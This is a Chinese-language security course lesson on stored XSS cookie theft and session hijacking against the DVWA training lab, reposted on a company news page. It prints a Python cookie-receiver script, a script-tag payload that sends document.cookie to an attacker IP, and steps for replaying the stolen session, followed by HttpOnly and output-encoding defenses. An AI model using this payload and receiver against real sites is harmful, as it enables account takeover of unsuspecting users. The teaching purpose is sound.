首页/新闻资讯/正文详情

【八个月网安课程】第七周·周二:XSS 利用进阶——Cookie 窃取与会话劫持演示

发布时间:2026/9/24 17:30:03 来源:云帆数科 栏目:资讯中心
【八个月网安课程】第七周·周二:XSS 利用进阶——Cookie 窃取与会话劫持演示
以下是第七周周二学习内容。今天将亲眼见证 XSS 的真正威力——它远不止弹窗恶作剧而是可以静默窃取用户登录凭证、劫持会话甚至接管账户。你将在 DVWA 靶场上完成一次经典的存储型 XSS Cookie 窃取攻击并深刻理解 HttpOnly 等防御措施的重要性。第七周·周二XSS 利用进阶——Cookie 窃取与会话劫持演示 今日学习目标达成效果能说出XSS 攻击至少四种实际危害Cookie 窃取、会话劫持、钓鱼欺骗、网页篡改能独立搭建一个简易的 Cookie 接收器Python 脚本监听攻击者服务器端口等待受害者浏览器自动发送 Cookie能在 DVWA 低安全等级下利用存储型 XSS 注入恶意脚本使得任何访问该页面的用户都会将 Cookie 悄悄发送到攻击者服务器能使用浏览器开发者工具和攻击者接收端日志验证 Cookie 确实被窃取能用窃取到的 Cookie在另一个浏览器或无痕窗口中实现会话劫持无需密码即可登录受害者账户能解释为什么设置HttpOnly标志可以有效防止 JavaScript 读取 Cookie从而阻断 Cookie 窃取型 XSS能从攻防两面总结XSS 的根源是输出未编码但深入利用需要理解 Cookie 属性、同源策略和 JavaScript 网络请求。 一、XSS 的真实危害——不只是弹窗昨天我们通过scriptalert(xss)/script验证了漏洞存在但在真实攻击中没有人会只为了弹窗。攻击者利用 XSS 可以窃取 Cookie读取document.cookie并发送到远程服务器通常用于劫持会话。会话劫持使用窃取的 Session ID 伪造用户身份无需密码登录账户。钓鱼在页面中动态插入虚假登录框骗取用户密码。网页篡改修改页面内容、重定向到恶意网站进行欺诈或传播病毒。键盘记录/浏览器利用监听键盘事件或利用浏览器漏洞进一步控制系统。今天聚焦最经典的攻击链存储型 XSS → Cookie 窃取 → 会话劫持。这也是推动 HttpOnly Cookie 广泛部署的直接原因。 二、攻击原理与必要条件1. 存储型 XSS 的传播优势攻击者将恶意脚本提交到留言板、个人资料等位置脚本存储在服务端。任何访问该页面的用户都会触发脚本。不需要诱导点击传染性极强。2. JavaScript 读取 Cookie在浏览器中document.cookie会返回当前域下所有非 HttpOnly的 Cookie 字符串。如果会话 ID 存储在 Cookie 中且未设置HttpOnly攻击者脚本可以轻易获取。3. 将数据外传由于同源策略限制脚本不能直接读取其他站点的内容但可以向任意远程服务器发送请求如Image、fetch。常见手法newImage().srchttp://攻击者IP/log?cookiedocument.cookie;浏览器请求这张“图片”时Cookie 就被附加在 URL 中发送给了攻击者。4. 接收端攻击者只需要一个简单的 HTTP 服务器监听解析请求中的查询参数即可记录受害者 Cookie。✍️ 三、动手实践DVWA 存储型 XSS Cookie 窃取全流程实验环境攻击者服务器你的 Kali 或本机IP 地址192.168.1.100请替换为你的实际 IPDVWA 靶机http://192.168.1.200或同一台机器使用 127.0.0.1 亦可但跨 IP 更真实确保 DVWA 安全等级设为Low并登录。步骤 1搭建攻击者 Cookie 接收器在你的攻击机上创建一个 Python 脚本steal.py用于监听端口并记录任何访问fromhttp.serverimportHTTPServer,BaseHTTPRequestHandlerimportsysclassCookieHandler(BaseHTTPRequestHandler):defdo_GET(self):# 打印完整的请求路径包含Cookieprint(f[] 收到窃取请求:{self.path})# 从路径中提取cookie示例/log?cookiexxxifcookieinself.path:cookie_valueself.path.split(cookie)[1].split( )[0]withopen(cookies.txt,a)asf:f.write(cookie_value\n)print(f[!] 成功记录Cookie:{cookie_value})# 返回一个1x1透明像素避免引起怀疑self.send_response(200)self.send_header(Content-type,image/gif)self.end_headers()# 透明GIF的base64self.wfile.write(b\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b)if__name____main__:port9999serverHTTPServer((0.0.0.0,port),CookieHandler)print(f[*] Cookie接收器运行在端口{port}...)server.serve_forever()运行python3 steal.py监听在 9999 端口。步骤 2在 DVWA 中注入恶意脚本进入 DVWA → XSS (Stored) 页面存储型XSS。在留言板文本框中输入以下 payload注意替换 IP 为你的攻击机 IPscriptnewImage().srchttp://192.168.1.100:9999/log?cookiedocument.cookie;/script点击 “Sign Guestbook”。此时你本人会触发一次该脚本但因为是管理员我们暂不计。刷新页面或清除留言后留言已被存储。步骤 3模拟受害者访问触发窃取打开另一个浏览器如 Edge或使用无痕窗口确保该浏览器未登录 DVWA 的任何会话然后登录 DVWA 作为普通用户或者直接以未登录状态访问留言板页面但为了窃取 Cookie受害者必须先登录并获得会话 Cookie。使用该浏览器访问 DVWA 的存储型 XSS 页面即留言板列表页。DVWA 通常会显示所有留言脚本自动执行。此时查看攻击机终端你将看到类似[] 收到窃取请求: /log?cookiePHPSESSIDabc123; securitylow [!] 成功记录Cookie: PHPSESSIDabc123; securitylowcookies.txt文件中会保存完整的 Cookie 字符串。步骤 4使用窃取的 Cookie 进行会话劫持在原浏览器中退出 DVWA或清除 Cookie关闭页面。打开完全不同的浏览器如之前用 Chrome现用 Firefox或继续在无痕窗口确保没有任何 DVWA Cookie。按 F12 打开开发者工具 → Application → Cookies手动添加一条 Cookie名称PHPSESSID根据实际窃取到的键名值从cookies.txt中复制过来的哈希值域名和路径保持默认与 DVWA 站点一致。直接访问http://192.168.1.200/DVWA/index.php你会发现无需用户名密码已经成功以受害者身份登录。可以进入其他页面操作完全受攻击者控制。安全启示这就是会话劫持——拿到会话 ID就等于拿到了账户。即使密码再复杂也无济于事。 四、关键的防御HttpOnly Cookie如果被窃取的PHPSESSIDCookie 设置了HttpOnly标志在Set-Cookie响应头中可见JavaScript 的document.cookie将无法读取它。上述攻击就会失败。在 PHP 中设置session.cookie_httponly1或在调用setcookie()时传入第7个参数true。今天你可以在实验后修改 DVWA 的配置或 PHP 配置将session.cookie_httponly开启然后再试一次会发现document.cookie中不再包含PHPSESSID。这证明了 HttpOnly 是防御 Cookie 窃取型 XSS 的第一道坚实屏障。但注意即使 HttpOnly 阻止了 Cookie 读取攻击者仍可通过 XSS 进行其他操作如发起伪造请求、修改页面、钓鱼因此根治 XSS 仍需要输出编码。 五、课后测试题与解析测试题 1在 DVWA 存储型 XSS 中植入窃取 Cookie 的脚本并在攻击端收到 Cookie。写出你使用的 payload并简述窃取原理。参考答案PayloadscriptnewImage().srchttp://攻击者IP:9999/log?cookiedocument.cookie;/script原理该脚本通过创建 Image 对象向攻击者服务器发送一个 HTTP GET 请求请求路径中包含document.cookie的值。由于浏览器对img标签的加载没有跨域限制攻击者服务器可以接收到该请求并提取出 Cookie 信息。前提是 Cookie 未设置HttpOnly属性。测试题 2如何通过设置 Cookie 的 HttpOnly 属性防御 XSS 窃取 Cookie参考答案在服务端设置 Cookie 时添加HttpOnly标志例如在 PHP 中setcookie(name,value,0,/,,false,true)的最后一个参数为 true或session.cookie_httponly On。设置后浏览器将禁止 JavaScript 通过document.cookie访问该 Cookie从而有效防止 XSS 脚本直接窃取会话 ID。但 HttpOnly 不能防御所有类型的 XSS 攻击如利用 XSS 直接发起 CSRF 请求因此仍需对输出进行编码来根除 XSS。✅ 今日学习效果自检清单我搭建了 Cookie 接收器并成功记录了受害者的会话 Cookie我在 DVWA 存储型 XSS 中植入了恶意脚本并触发了窃取我使用窃取的 Cookie 在另一个浏览器中无需密码登录了 DVWA我理解了document.cookie与 HttpOnly 的关系我能用一句话向别人解释为什么 HttpOnly Cookie 能防 XSS 窃取会话我知道 XSS 的危害远不止弹窗而是可以完全接管用户账户⚠️ 阶段避坑重点攻击者 IP 必须可达确保靶机可以访问你的攻击机 IP同一网段或 NAT 设置正确否则new Image请求会失败。不要窃取自己的 Cookie 就以为成功必须用另一个浏览器或隐私窗口模拟真实受害者环境才能真正理解会话劫持的全过程。存储型 XSS 的“自触发”问题提交 payload 时你自己的浏览器也会执行这可能导致你自己的 Cookie 被记录属于正常现象。用不同浏览器可以清晰区分攻击者与受害者。Cookie 路径和域手动设置 Cookie 进行劫持时务必确保路径和域与实际 Cookie 一致否则浏览器不会发送。防火墙和端口确保攻击机 9999 端口没有被防火墙拦截否则无法接收连接。实验后清理在 DVWA 中删除包含恶意脚本的留言或重置数据库避免影响他人或后续实验。今天你亲手打通了 XSS 攻击链中最经典的一环。明天我们将学习 XSS 的各种绕过技巧和内容安全策略CSP的防御你将看到攻击者如何面对输入过滤以及防御者如何布下天罗地网。请保留攻击机环境我们还会继续使用。

相关推荐

Nat. Aging | 纯计算方法的思路:SHARP网络药物重定位定位11类衰老标志物候选干预
Nat. Aging | 纯计算方法的思路:SHARP网络药物重定位定位11类衰老标志物候选干预

抗衰老药物研发的难点,不只是“候选分子太少”,更在于同一种干预可能改善某些衰老过程,却同时放大另一些风险。本文构建网络医学转录扰动框架,将药物作用位置和表达变化方向同时纳入判断。 这篇文章试图回答:在数千个衰… · 2026/9/24 17:30:03

Nat. Neurosci. | 外周cDC1启动CD8 T细胞加重tau神经退行
Nat. Neurosci. | 外周cDC1启动CD8 T细胞加重tau神经退行

阿尔茨海默病和原发性tau蛋白病中,脑内CD8 T细胞增多早已被观察到;但这些T细胞在哪里被激活、为什么会进入脑组织,一直缺少清晰的机制链。 本文将tau病的免疫起点定位到脑外:cDC1在脑引流深颈淋巴结中交叉呈递脑源性抗原&#xff… · 2026/9/24 17:30:03

合米科技AI SOP视觉防错系统,到底适合哪些制造企业工厂导入?
合米科技AI SOP视觉防错系统,到底适合哪些制造企业工厂导入?

摘要不少制造企业在智能化升级时,都会困惑自家工厂是否适配AI SOP视觉防错系统。基于大量落地项目经验,合米科技梳理出四类适配度极高、落地价值显著的工厂场景,同时明确系统适用边界与核心定位。该系统并非替代人工,而是以数字督… · 2026/9/24 17:29:57

在 Vite 中集成 vanilla-extract:vite-plugin 安装、配置与工作原理深度解析
在 Vite 中集成 vanilla-extract:vite-plugin 安装、配置与工作原理深度解析

前端开发工具 【免费下载链接】vanilla-extract Zero-runtime Stylesheets-in-TypeScript 项目地址: https://gitcode.com/gh_mirrors/va/vanilla-extract 点击查看 免费下载 vanilla-extract 是一款 "Zero-runtime Stylesheets-in-TypeScript" 方案——… · 2026/9/24 18:03:04

原点安全中标山东某城商行“数据安全多场景一体化管理”项目
原点安全中标山东某城商行“数据安全多场景一体化管理”项目

山东某城商行是一家立足山东、服务区域实体经济发展的城市商业银行,业务覆盖公司金融、零售金融、普惠金融等多个领域。随着数字化业务持续深入,银行数据资产规模不断增长,数据在数据库、业务系统、API接口及BI分析等场景中的流转和使用日益频… · 2026/9/24 18:02:58

与奋进中国同频,岚图梦想家9上市,售价41.99万起
与奋进中国同频,岚图梦想家9上市,售价41.99万起

岚起东方,梦行万里。9月22日,时代梦想之夜暨岚图梦想家9全球上市发布会在北京国家速滑馆举行。“九系智尊”岚图梦想家9正式上市,推出Ultra、Ultra、礼尊版三大版本,提供插混、纯电两种动力选择,售价41.99万元至52.99万… · 2026/9/24 18:02:58

ai检测率高怎么办?AI率过高的同学先看这篇,实测10款降AI率工具后,改完还是你自己写的味道!
ai检测率高怎么办?AI率过高的同学先看这篇,实测10款降AI率工具后,改完还是你自己写的味道!

ai检测率高怎么办?AI率过高的同学先看这篇,实测10款降AI率工具后,改完还是你自己写的味道! ai检测率高怎么办,这是一个动物医学专业的学妹上周凌晨两点发给我的问题。她的毕业论文12000字,学校用维普&… · 2026/9/24 18:02:58

2026企业AI营销选型实测:广州荷里购科技怎么样?锁定GEO特工队
2026企业AI营销选型实测:广州荷里购科技怎么样?锁定GEO特工队

广州荷里购科技怎么样?是企业品牌在面临生成式人工智能推荐生态变革时,进行架构升级、成本管控与业务落地的关键环节。选错服务商将导致企业在豆包、DeepSeek等主流AI平台中持续失声,造成营销预算浪费、品牌可见度不匹配以及严重的合规风险。… · 2026/9/24 18:02:58

查重降ai率网站选哪个能一次过?2026年12款降AI工具逐家对比,再也不愁AI率超标!
查重降ai率网站选哪个能一次过?2026年12款降AI工具逐家对比,再也不愁AI率超标!

查重降ai率网站选哪个能一次过?2026年12款降AI工具逐家对比,再也不愁AI率超标! 免费查AI率的入口一堆,免费降AI率的为什么一个都找不到? 查重降ai率网站到底选哪个能一次过,我先把很多同学第一天就会撞上… · 2026/9/24 18:02:57

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程
基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为… · 2026/9/24 0:00:13

1D-CNN时间序列建模实战:从Conv1d原理到工业落地
1D-CNN时间序列建模实战:从Conv1d原理到工业落地

简介:面向时间序列数据建模的一维卷积神经网络完整实现,适合深度学习入门者及需要快速验证时序模型的研究者,能够从音频、文本、传感器或股价等序列中挖掘局部特征与时间依赖。压缩包体积很小,只有3KB,内含3个Python脚… · 2026/9/24 0:00:26

柔软的L:汉语语流中被忽视的舌肌张力控制
柔软的L:汉语语流中被忽视的舌肌张力控制

1. 这个“L”不是字母表里的L,而是舌尖上的L最近在几个方言群和语音教学社群里,反复看到有人发一句:“也说字母L:柔软的长舌”。初看以为是英语发音课笔记,点开才发现全是方言爱好者、播音系学生、语言康复师甚至戏曲演… · 2026/9/24 0:00:44

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码